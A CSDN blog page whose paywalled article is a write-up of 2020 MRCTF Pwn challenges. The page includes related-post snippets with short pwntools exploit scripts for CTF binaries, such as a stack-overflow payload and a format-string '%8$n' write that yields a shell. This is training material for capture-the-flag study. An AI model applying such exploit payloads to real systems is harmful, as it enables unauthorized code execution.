2020MRCTF - 部分Pwn题

最新推荐文章于 2024-02-03 18:33:03 发布
最新推荐文章于 2024-02-03 18:33:03 发布
阅读量365 收藏
点赞数
分类专栏： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44864859/article/details/105417938
版权
本文详细介绍了2020年MRCTF比赛中的三个Pwn题目：easyoverflow通过栈溢出覆盖数据满足check函数条件；Shellcode利用未开启NX保护的栈上执行shellcode；Easy_equation利用格式化字符串漏洞改写judge值。解题关键在于计算偏移和填充，并成功构造exploit。
摘要由CSDN通过智能技术生成

easyoverflow

保护全开，但这里只需要栈溢出覆盖数据满足check函数判断就好了。

屏幕快照 2020-03-31 19.05.33

屏幕快照 2020-03-31 19.06.57

屏幕快照 2020-03-31 19.07.54

exp：

from pwn import *
context.log_level = 'debug'
p = remote('38.39.244.2',</
最低0.47元/天 解锁文章
棂星
关注
专栏目录
MidnightsunCTF Quals 2020 pwn
starssgo的博客
04-09 844
博客地址 外国人出的题往往比较有特色，相对我国大大小小的比赛尤其是一些堆题，往往都是一个固定的套路，越做最多写脚本的速度快了，其实并没有学到什么新东西。 pwn1,pwn2,pwn4都是简单的题，pwn3是arm栈溢出，pwn5是mips栈溢出,相对于我觉得pwn6比较有学习的地方。 目录pwn6思路及利用找漏洞思路修改dword_6D7330值伪造stout泄露地址测试poc将rop写入返回地址...
BUUCTF(pwn)mrctf2020_easyoverflow
半岛铁盒的博客
04-06 604
简单的溢出覆盖 from pwn import * r=remote("node3.buuoj.cn",25789) payload='a'*0x30+"n0t_r3@11y_f1@g" r.sendline(payload) r.interactive()
BUUCTF(pwn)mrctf2020_easy_equation
半岛铁盒的博客
03-30 669
这道题是个相对简单的格式化字符串的题目, 但是做题过程中需要自己的一些debug调试查看; 计算偏移量 初看偏移量是8; 构建初始payload,EXP;payload="aa%8$n"+p64(judge) from pwn import* context.log_level='debug' p=remote('node3.buuoj.cn',27636) judge=0x60105c payload="aa%8$n"+p64(judge) p.sendline(payload) p.inter
[BUUCTF]PWN——mrctf2020_easyoverflow
mcmuyanga的博客
01-12 1013
mrctf2020_easyoverflow 附件 步骤： 例行检查，64位程序，保护全开 本地试运行的时候就直接一个输入，然后就没了，直接用64位ida打开 只要满足18行的条件，就能够获取shell check（） 很简单的检查，就是判断一下v5是否等于n0t_r3@11y_f1@g 看main函数可以知道，v5一开始是ju3t_@_f@k3_f1@g，之后没有对v5的操作了，然后让我们输入v4，看一下v4和v5在栈上的位置，发现v5就在v4下方不远处 v4的输入是用的gets函数，我们可以在
ctf pwn 题目
m0_64195960的博客
04-11 1529
2022年3月21栈迁移 这道题是栈迁移 1）先checksec一下 嗯哼哼，貌似影响不大 2）丢在ida里瞅 1、main（） 没啥用再看看其它的 2、vul（） 第一个read读进去的东西，可以被printf呸！吐出来！ 芜湖！看到了第二个read可以栈溢出，但是可以溢出的空间太少！ ————————那么就要来到了，刚学习的栈迁移—————————— 3、hack（） 芜湖看到system函数了，那我们就可以获得system的返回地址从而调用.
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
CSAWCTF-2018-pwn-shellcode|CSAWCTF-2018-pwn-shellcode
12-10
CSAWCTF 2018年pwn题 shellcode 变形shellcode练手题目，该题目主要是利用三个节点来注入shellcode，考验解题人对shellcode的熟悉程度。题解：https://blog.csdn.net/A951860555/article/details/110350773
build-an-efficient-pwn-environment:如何在2020年建立高效的Pwn开发环境
05-26
在2020年建立高效的Pwn开发环境 多年以来，每当我决定开始学习pwn时，我发现我无法编写漏洞利用程序或无法高效地调试可执行文件。 我最终决定做些改变这种情况的事情。 所以我花了一些时间在相关工具的使用上。 ...
ctf题库ctf-pwn赛题收集
03-31
ctf题库 CTF(夺旗赛)题库是一个由安全专家和爱好者们制作的一系列网络安全挑战。... ...每个类别都包含多个挑战，每个挑战都有一个或多个标志(flag)。参赛者必须通过解决每个挑战来获取相应的标志，然后提交标志以获得...
mrctf2020_easy_equation
z1r0的博客
12-31 645
mrctf2020_easy_equation 查看保护 满足这个if则给一个shell。有一个格式化，用格式化改judge为2即可。 偏移为8，但是实际得调用成9。 调得9即可。 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 29467) else:
[BUUCTF]PWN——mrctf2020_easy_equation（格式化字符串）
mcmuyanga的博客
01-28 1148
mrctf2020_easy_equation 附件 步骤 例行检查，64位程序，只开启了nx保护 本地试运行一下，看看大概的情况，%p，那边，明显的格式化字符串漏洞 64位ida载入 只要满足第8行的条件即可获取shell，python算一下得到结果是2 所以这题是用格式化字符串漏洞，将judge上的值修改称即可 利用过程 确定偏移量，补了一个b之后偏移是8 由于64位传参，肯定存在被/x00截断的情况，所以我动调看了一下 我们要做的是将judge里的值修改成2，一开始我是这样写的，pa
2022 MRCTF pwn ezbash
weixin_46483787的博客
04-25 588
昨天打的mrctf上的一道题，大概数了一下有十几个解吧，算是签到题 题目给出了一个程序，运行起来之后是一个bash环境，但是里面的文件都是堆上的内存。拿到题目之后首先分析一下文件结构体： 这里写的稍微有点问题，其实标志位是前四位，然后file_name的offset为4到20，20到24是这四个字节没有用，是空的，不过懒得改了，凑活着看吧 其中标志位标识当前chunk是一个文件还是一个文件夹 其他函数具体怎么逆向过程就不说了，好麻烦 如果在逆向上卡住的可以给我发私信，我把逆完的i64发你 然后看下洞在哪：
[BUUCTF]-PWN:mrctf2020_easy_equation解析
最新发布
2301_79326813的博客
02-03 451
查看保护再看ida很明了，题目就是让我们用格式化字符串漏洞修改judge的值（可以用python脚本进行计算，最终算出来得2）使等式成立，然后getshell。虽然操作比较简单，但我还是列出了几种方法。
CTF pwn题堆入门 -- Unsorted bin
lifanxin的博客
04-08 3322
Unsorted bin概述攻击方式泄露libc地址总结 概述   Unsorted bin也是堆题中常见的，当一个堆块被释放时，且该堆块大小不属于fast bin（libc-2.26之后要填满tcache），那么在进入small bin和large bin之前，都是先加入到unsorted bin的。之后当我们再次分配内存到unsorted bin上寻找时，如果申请的内存堆块小于寻找的unsorted bin，那么会将该内存块切割后返回给用户，剩下的仍然保存在unsorted bin上；如果申请的内存堆块
ctf-pwn nc题总结
weixin_61995249的博客
05-21 2660
命令来查看文件或目录的详细信息，并根据文件的属性来确定其类型。
ctfshow 内部赛 pwn 签到题
SCP000111的博客
11-16 1782
ctfshow 内部赛 pwn 签到题 找了在刷题的中，不会做这道题，找了好久没找到wp，搞了几天，还怀疑题目出错了，结果一看有最近13天前做出来的，又认真在搞。最终搞出来了，原来是csu，不想让后来人向我一样没有wp可以看，解出来马上就写了博客hhhh。 先放图片，2021.11.16该代码可行 这个我找了好久。都没找到wp，但是我看到了一个人的博客，无意间发现他的题目似乎与这道题一样，于是尝试求解，解出，在这里感谢下作者。这里 作者是偏有宸机，他那里有更好的解释。Ret2libc_64[csu及get
BugkuCTF-PWN题canary超详细讲解
am_03的博客
08-31 2409
知识点 小端序说明，数据在内存里是如何存储的？下表里数据都为16进制 解题流程 题目Hint:更新 LibcSeacher 的 libc-database checksec查看保护机制 0x28=40 0x10=16 0x29=41 0x300=768 0x2C=44 buf长度为48，而read读取长度为768 v5长度为520，而read读取长度为768 所以存在栈溢出漏洞 from pwn import * #sh = process('./pwn4_') #context.log_lev
ctf.bugku ctf题目详解——pwn2
yeshen4328的专栏
05-26 1208
ctf.bugku ctf题目详解——pwn2 题目 程序分配了一个栈上的变量s，长度为0x30，并一开始置0. 9行开始从外部读取0x100的数据到s中，由此可见此处存在一个栈溢出。 同时使用ida打开程序之后发现还存在一个get_shell的函数： 于是我们需要想方法利用溢出来调用这个get_shell函数。 x64函数调用规则 解题之前我们先学习下linux x64的函数调用规则。 x64机器在调用某个函数前，比如int func(int a, int b, int c, int d, int e
CTF-记一次PWN练习
小王的技术库
08-10 1067
在CTF中PWN题型通常会直接给定一个已经编译好的二进制程序（Windows下的EXE或者Linux下的ELF文件等），然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞，并编写利用代码，通过远程代码执行来达到溢出攻击的效果，最终拿到目标机器的shell夺取flag。try again.的提示信息，请对pwn1程序进行逆向分析和调试，找到程序内部的漏洞，并构造特殊的输入数据，使之输出Congratulations,
mqtt-pwn安装
09-20
安装mqtt-pwn的步骤如下： 1. 克隆mqtt-pwn仓库：使用命令`git clone https://github.com/akamai-threat-research/mqtt-pwn.git`将mqtt-pwn仓库克隆到本地。 2. 进入mqtt-pwn目录：使用命令`cd mqtt-pwn`进入mqtt-pwn所在的目录。 3. 启动mqtt-pwn容器：使用命令`sudo docker-compose up --build --detach`启动mqtt-pwn容器。 另外，您还需要安装以下软件： 1. 安装pwntools：使用命令`python3 -m pip install --upgrade pwntools`来安装并更新pwntools。 2. 安装mosquitto程序和mosquitto-clients客户端程序：使用命令`sudo apt install mosquitto`和`sudo apt install mosquitto-clients`来安装mosquitto程序和mosquitto-clients客户端程序。 请注意，以上步骤假设您已经在Linux环境下进行操作。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值